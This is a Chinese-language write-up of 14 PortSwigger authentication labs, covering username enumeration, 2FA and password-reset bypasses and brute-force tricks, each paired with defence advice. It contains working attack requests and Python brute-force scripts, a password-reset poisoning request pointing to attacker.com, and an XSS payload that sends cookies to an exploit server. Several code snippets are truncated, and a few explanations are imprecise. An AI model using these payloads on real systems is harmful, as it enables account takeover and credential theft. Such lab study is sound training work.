# PortSwigger 身份认证漏洞解题攻略
# 概述
本文基于 PortSwigger Academy 身份认证漏洞实验,详细解析 14 个实验的具体解题过程和技术原理。每个实验都包含实际的解题步骤、Burp Suite 操作细节以及背后的安全原理,帮助读者深入理解身份认证漏洞的成因和利用方法。
# 实验环境准备
# 必备工具
- Burp Suite Professional:用于拦截、分析和修改 HTTP 请求
- 有效用户名密码字典:PortSwigger 提供的实验凭据
- 浏览器插件:Cookie Editor、User-Agent Switcher 等
# 实验账户信息
根据实验要求,使用 PortSwigger 提供的测试账户:
- 用户名列表:包含各种常见用户名
- 密码列表:包含弱密码和常见密码组合
# 实验解题详解
# Lab 1: Username enumeration via different responses
实验目标:通过不同的响应枚举用户名
# 解题步骤
- 信息收集:实验提供了可能的用户名和密码列表
- Burp Suite 拦截:拦截登录请求,发送到 Intruder 模块
- 设置攻击载荷:
- Payload 类型:Simple list
- Payload 位置:username 参数
- 载荷内容:提供的用户名列表
- 执行攻击:使用固定密码测试所有用户名
- 分析响应:观察 HTTP 状态码和响应内容差异
# 技术原理
应用程序对有效和无效用户名返回不同的响应特征:
- 无效用户名:返回特定错误消息
- 有效用户名:返回不同的错误消息或状态码
# 关键代码示例
1 | POST /login |
# 检测指标
- HTTP 状态码变化
- 响应长度差异
- 错误消息内容差异
# Lab 2: 2FA broken logic
实验目标:绕过双因素认证逻辑,访问 Carlos 账户
# 解题步骤
分析登录流程:
/login1:验证用户名密码/login2:发送和验证验证码- 访问
/login2时携带 cookie
漏洞发现:验证码发送逻辑存在缺陷
- 当
verify参数值为carlos时,向 Carlos 邮箱发送验证码 /login2的验证码验证没有限制,可以爆破
- 当
攻击实施:
1
2
3
4
5
6POST /login2
Host: target.com
Cookie: session=xxxxx
Content-Type: application/x-www-form-urlencoded
mfa-code=1234&verify=carlos爆破验证码:使用 Intruder 模块爆破 4 位数字验证码
# 技术原理
双因素认证实现存在逻辑缺陷:
- 验证码发送与验证逻辑分离
- 缺少验证码尝试次数限制
- 用户参数可被操纵
# 防护建议
- 实施验证码尝试次数限制
- 验证码与用户会话绑定
- 添加验证码有效期限制
# Lab 3: Password reset broken logic
实验目标:利用密码重置逻辑缺陷重置 Carlos 密码
# 解题步骤
分析密码重置流程:
- 发起密码重置请求
- 接收重置链接
- 提交新密码
漏洞发现:重置密码的最后阶段,请求参数中包含
username参数攻击实施:
1
2
3
4
5POST /reset-password-confirm
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=carlos&new-password= hacked123&confirm-password=hacked123验证成功:使用新密码登录 Carlos 账户
# 技术原理
密码重置功能存在逻辑漏洞:
- 重置确认阶段未验证用户身份
- 用户名参数可被客户端修改
- 缺少重置令牌验证
# 防护建议
- 使用安全的重置令牌
- 验证令牌与用户身份的绑定关系
- 限制重置令牌使用次数和有效期
# Lab 4: Username enumeration via subtly different responses
实验目标:通过细微响应差异枚举用户名
# 解题步骤
响应差异分析:
- 无效用户名:
Invalid username or password - 有效用户名:
Invalid username or password.(末尾多一个点)
- 无效用户名:
枚举用户名:
- 使用 Intruder 测试所有用户名
- 观察响应末尾是否有额外字符
密码爆破:
- 获得有效用户名后
- 使用字典爆破密码
# 技术原理
应用程序存在信息泄露:
- 错误消息的细微差异暴露用户名有效性
- 响应内容的不一致处理
# 检测脚本示例
1 | import requests |
# Lab 5: Username enumeration via response timing
实验目标:通过响应时间差异枚举用户名
# 解题步骤
添加 XFF 头:在请求中添加
X-Forwarded-For头1
X-Forwarded-For: 1.2.3.4
时间差异观察:
- 用户名正确时,密码越长响应时间越长
- 用户名错误时,响应时间基本固定
枚举攻击:
- 使用长密码测试每个用户名
- 记录响应时间,识别有效用户名
# 技术原理
基于时间差的侧信道攻击:
- 有效用户名触发完整的密码验证流程
- 密码哈希计算时间与密码长度相关
- 无效用户名跳过密码验证步骤
# 攻击脚本
1 | import time |
# Lab 6: Broken brute-force protection, IP block
实验目标:绕过 IP 封锁的暴力破解保护
# 解题步骤
分析保护机制:
- 登录失败 3 次后封锁 IP
- 在 IP 被封锁前成功登录可重置计数器
双线程攻击策略:
- 线程 1:使用已知正确密码登录,重置失败计数器
- 线程 2:爆破目标用户密码
实施步骤:
1
2
3
4
5
6
7
8
9
10
11# 线程1:重置计数器
def reset_counter():
requests.post('/login', data={'username': 'validuser', 'password': 'correctpass'})
# 线程2:爆破密码
def brute_force():
for password in password_list:
response = requests.post('/login', data={'username': 'carlos', 'password': password})
if 'success' in response.text:
print(f"[+] 找到密码: {password}")
break
# 技术原理
暴力破解保护机制存在竞态条件漏洞:
- 失败计数器基于 IP 而非用户
- 成功登录会重置整个 IP 的失败计数
- 缺少全局速率限制
# 防护建议
- 实施基于用户和 IP 的组合限制
- 使用滑动时间窗口计数
- 添加渐进式延迟机制
# Lab 7: Username enumeration via account lock
实验目标:通过账户锁定机制枚举用户名
# 解题步骤
触发账户锁定:
- 对多个用户名进行多次失败登录尝试
- 观察哪些用户名被锁定
识别有效用户名:
- 被锁定的用户名为有效用户名
- 未被锁定的用户名无效
密码爆破:
- 等待锁定时间过后
- 对有效用户名进行密码爆破
# 技术原理
账户锁定机制的信息泄露:
- 只有有效账户才会被锁定
- 锁定状态可通过错误消息识别
- 锁定时间可被利用进行枚举
# 攻击流程
1 | def enumerate_via_account_lock(base_url, usernames): |
# Lab 8: 2FA simple bypass
实验目标:简单绕过双因素认证
# 解题步骤
分析登录流程:
/login:用户名密码验证/login2:验证码验证/my-account:用户账户页面
漏洞发现:
- 在 Carlos 接收验证码时
- 直接访问
/my-account可跳过验证码验证
攻击实施:
1
2
3
4
5
6
7# 步骤1:正常登录
POST /login
username=carlos&password=carlospass
# 步骤2:直接访问账户页面
GET /my-account HTTP/1.1
Cookie: session=xxxxx
# 技术原理
认证流程存在逻辑缺陷:
- 会话状态验证不完整
- 缺少 2FA 完成状态检查
- 直接访问受保护页面绕过验证
# Lab 9: Brute-forcing a stay-logged-in cookie
实验目标:暴力破解 "保持登录"Cookie
# 解题步骤
Cookie 结构分析:
- Cookie 格式:
username:password_md5 - 示例:
carlos:5f4dcc3b5aa765d61d8327deb882cf99
- Cookie 格式:
获取用户名:通过其他方式获取目标用户名
MD5 字典攻击:
1
2
3
4
5
6
7
8
9
10
11import hashlib
def generate_cookie(username, password):
password_md5 = hashlib.md5(password.encode()).hexdigest()
return f"{username}:{password_md5}"
# 测试常见密码
common_passwords = ['password', '123456', 'admin', 'qwerty']
for pwd in common_passwords:
cookie = generate_cookie('carlos', pwd)
# 测试Cookie有效性
# 技术原理
"保持登录"Cookie 实现不安全:
- 使用可逆的密码哈希
- Cookie 结构可被猜测
- 缺少额外的签名验证
# 防护建议
- 使用强随机生成的令牌
- 添加 Cookie 签名验证
- 实施令牌有效期限制
# Lab 10: Offline password cracking
实验目标:离线密码破解
# 解题步骤
获取 Cookie:通过 XSS 攻击获取用户 Cookie
1
2
3<script>
document.location='https://exploit-server.net/exploit?cookie='+document.cookie;
</script>分析 Cookie 内容:提取哈希值
离线破解:
1
2
3
4
5
6
7
8
9
10import hashlib
import itertools
def crack_hash(target_hash, charset, max_length):
for length in range(1, max_length + 1):
for combination in itertools.product(charset, repeat=length):
password = ''.join(combination)
if hashlib.md5(password.encode()).hexdigest() == target_hash:
return password
return None
# 技术原理
离线攻击利用:
- 获取密码哈希后可本地破解
- 不受在线速率限制影响
- 可使用字典和暴力攻击
# Lab 11: Password reset poisoning via middleware
实验目标:通过中间件投毒密码重置
# 解题步骤
漏洞发现:应用支持
X-Forwarded-Host头攻击实施:
1
2
3
4
5POST /forgot-password
Host: target.com
X-Forwarded-Host: attacker.com
username=carlos结果:重置链接指向
attacker.com而非合法域名
# 技术原理
HTTP 头注入漏洞:
- 中间件信任客户端提供的 Host 头
- 重置链接生成时使用恶意 Host
- 缺少 Host 头验证
# 防护建议
- 验证和规范化 Host 头
- 使用硬编码的域名生成链接
- 实施 CSP 头部保护
# Lab 12: Password brute-force via password change
实验目标:通过密码修改功能暴力破解
# 解题步骤
分析错误消息:
- 新密码不一致且当前密码正确:
New passwords do not match - 当前密码错误:
Current password is incorrect
- 新密码不一致且当前密码正确:
攻击实施:
1
2
3
4POST /change-password
Cookie: session=xxxxx
current-password=test123&new-password=newpass1&confirm-password=newpass2爆破当前密码:
- 使用 Intruder 模块
- 观察响应消息差异
# 技术原理
密码修改功能的信息泄露:
- 错误消息暴露当前密码有效性
- 缺少统一的错误处理
- 可用于验证当前密码
# Lab 13: Broken brute-force protection, multiple credentials per request
实验目标:绕过暴力破解保护(多凭据请求)
# 解题步骤
分析请求格式:使用 JSON 传输密码
攻击载荷修改:
1
2
3{
"password": ["pass1", "pass2", "pass3", "pass4", "pass5"]
}绕过机制:单次请求测试多个密码
# 技术原理
暴力破解保护实现缺陷:
- 保护机制基于请求数而非密码尝试数
- 数组处理逻辑绕过计数器
- 缺少输入验证和规范化
# 防护建议
- 实施基于密码尝试次数的限制
- 验证输入数据格式
- 添加请求大小限制
# Lab 14: 2FA bypass using a brute-force attack
实验目标:通过暴力攻击绕过 2FA
# 解题步骤
Burp Suite 宏配置:
- 创建 Session Rule
- URL Scope 选择 All
- 配置宏处理登录流程
宏录制:
- 手动完成一次完整登录:
/login→/login2 - 选择对应的数据包
- 测试宏是否返回 200 状态码
- 手动完成一次完整登录:
Intruder 设置:
- 设置单线程攻击
- 配置验证码爆破载荷
- 启动攻击
# 技术原理
2FA 实现缺陷:
- 验证码验证缺少速率限制
- 会话管理不当
- 可被自动化工具绕过
# Burp Suite 配置详细步骤
创建宏:
1
2Project Options → Sessions → Session Rules → Add
Rule Type: "Run a macro"录制宏:
1
2
3Macro Recorder → Record macro
执行:POST /login → POST /login2
选择相关请求配置 Intruder:
1
2
3Positions: 选择mfa-code参数
Payloads: Numbers 0000-9999
Options: Single thread, Request delay 100ms
# 通用攻击技巧总结
# 1. 信息收集技巧
- 错误消息分析:仔细观察所有响应差异
- 响应时间测量:使用时间差进行侧信道攻击
- HTTP 头分析:检查所有请求和响应头
# 2. Burp Suite 高级技巧
- 宏使用:自动化复杂的多步骤认证流程
- Session Rules:维护会话状态
- Intruder 配置:优化攻击效率和隐蔽性
# 3. 暴力破解优化
- 智能载荷选择:基于目标特征选择密码字典
- 速率控制:避免触发防护机制
- 多线程协调:绕过基于 IP 的限制
# 防御策略建议
# 1. 认证逻辑安全
- 统一错误消息处理
- 实施严格的速率限制
- 使用安全的会话管理
# 2. 多因素认证
- 实施验证码尝试限制
- 绑定验证码与会话
- 使用时间限制和一次性使用
# 3. 密码管理
- 强制使用强密码策略
- 实施密码重置令牌
- 定期密码更新要求
# 4. 监控和检测
- 记录详细的认证日志
- 实施异常行为检测
- 建立实时告警机制
# 结语
通过这 14 个实验的解题过程,我们深入了解了身份认证漏洞的各种形态和利用技巧。每个实验都展示了不同的安全缺陷,从信息泄露到逻辑绕过,从暴力破解到会话劫持。
理解这些漏洞的原理和利用方法,有助于我们:
- 识别安全风险:在实际应用中发现类似漏洞
- 实施有效防护:构建更安全的认证系统
- 提升安全意识:理解攻击者思维模式
个人认为,安全是一个持续的过程,需要不断学习、测试和改进。只有将安全意识融入到系统设计和实现的每个环节,才能有效保护用户数据和系统安全。
免责声明:本文仅用于教育和研究目的,请勿用于非法攻击活动。所有实验应在授权环境中进行。
